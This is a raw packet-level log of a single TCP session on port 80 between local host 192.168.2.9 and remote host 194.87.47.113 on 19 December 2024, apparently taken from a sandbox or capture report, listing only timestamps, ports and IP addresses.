Dec 19, 2024 08:01:04.308060884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.308073997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.308115959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.308252096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.308342934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.308357000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.308362007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.308392048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.309257030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.309308052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.309319973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.309350967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.310173035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.310216904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.310229063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.310230970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.310261011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.311152935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.311177015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.311191082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.311225891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.312127113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.312156916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.312167883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.312174082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.312202930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.313148022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313162088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313174009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313209057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.313832998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313863993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313872099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.313878059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.313910961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.314793110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.314819098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.314830065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.314862967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.315815926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.315845013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.315857887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.315860987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.315893888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.316767931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.316811085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.316823006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.316853046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.317708015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.317737103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.317749023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.317754984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.317775965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.318579912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.318619013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.318629980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.318655014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.319571972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.319596052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.319607973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.319633007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.319654942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.320552111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.320578098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.320590019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.320620060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.321466923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.321499109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.321510077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.321510077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.321551085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.322483063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.322498083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.322510958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.322566032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.323368073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.323395967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.323406935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.323415041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.323441982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.324314117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.324347019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.324358940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.324413061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.325351954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.325364113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.325373888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.325418949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.326251030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.326287031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.326298952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.326334000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.327224016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.327255964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.327269077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.327291965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.327310085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.328107119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.328131914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.328144073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.328193903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.329330921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.329344034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.329355955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.329384089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.329410076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.330018044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.330044985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.330058098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.330089092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.330971956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.331001043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.331011057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.331012964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.331042051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.331918001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.331984043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.331996918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.332031965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.333120108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.333132982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.333144903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.333180904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.333194971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.333853960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.333967924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.333981037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.334013939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.334821939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.334836006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.334849119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.334881067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.334897995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.335809946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.335824966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.335836887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.335865021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.336656094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.336716890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.463110924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.463144064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.463156939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.463207960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.463753939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.463768005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.463804007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.464026928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.464071035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.464181900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.464576960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.464629889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.464632988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.464642048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.464679003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.465554953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.465627909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.465639114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.465677023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.466492891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.466542006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.500454903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.500492096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.500504971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.500536919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.501074076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.501087904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.501101017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.501131058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.501159906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.502063990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502078056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502089977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502115011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.502832890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502856970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502867937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.502871990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.502904892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.503813028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.503837109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.503849030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.503892899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.504662037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.504699945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.504713058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.504724026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.504764080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.505572081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.505673885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.505939960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.506170034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.506233931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.506252050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.506285906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.507148027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.507194042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.507194996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.507208109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.507250071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.508064985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.508222103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.508234978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.508259058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.509174109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.509186983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.509197950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.509211063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.509232998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.509979963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.510027885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.510040045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.510066986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.510953903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.510983944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.510996103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.511003017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.511106014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.511893034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.512003899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.512017965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.512057066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.513232946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513247013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513258934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513287067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.513310909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.513765097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513816118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513828039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.513853073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.514760017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.514782906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.514794111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.514816999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.514842987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.515682936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.515733004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.515746117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.515788078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.516664028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.516694069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.516706944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.516741037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.516760111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.517594099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.517641068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.517652988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.517677069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.518579006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.518606901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.518619061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.518624067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.518665075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.519630909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.519643068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.519654989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.519685984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.520576954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.520629883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.520653009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.520663977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.520698071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.521682978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.521720886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.521733046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.521796942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.522486925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.522537947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.522552013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.522557020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.522598982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.523510933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.523567915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.523580074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.523617983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.524353981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.524398088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.524411917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.524437904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.524465084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.525185108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.525238037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.525249958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.525273085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.526153088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.526187897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.526212931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.526226044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.526257992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.527393103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.527420998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.527432919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.527472973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.528146982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.528179884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.528186083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.528197050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.528238058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.529011011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.576248884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.655791044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.655921936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.655961037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.655996084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.656032085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.656040907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.656069040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.656073093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.656115055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.657555103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657593966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657630920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657682896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.657746077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657793045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657830954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.657831907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.658092022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.658787012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.658823013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.658878088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.692734003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.692764044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.692775965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.692806959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.693078995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.693116903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.693176985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.693190098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.693275928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.694215059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.694230080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.694243908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.694283962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.694993019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.695024014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.695036888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.695069075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.695100069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.695969105 CET	80	49739	194.87.47.113	192.168.2.9
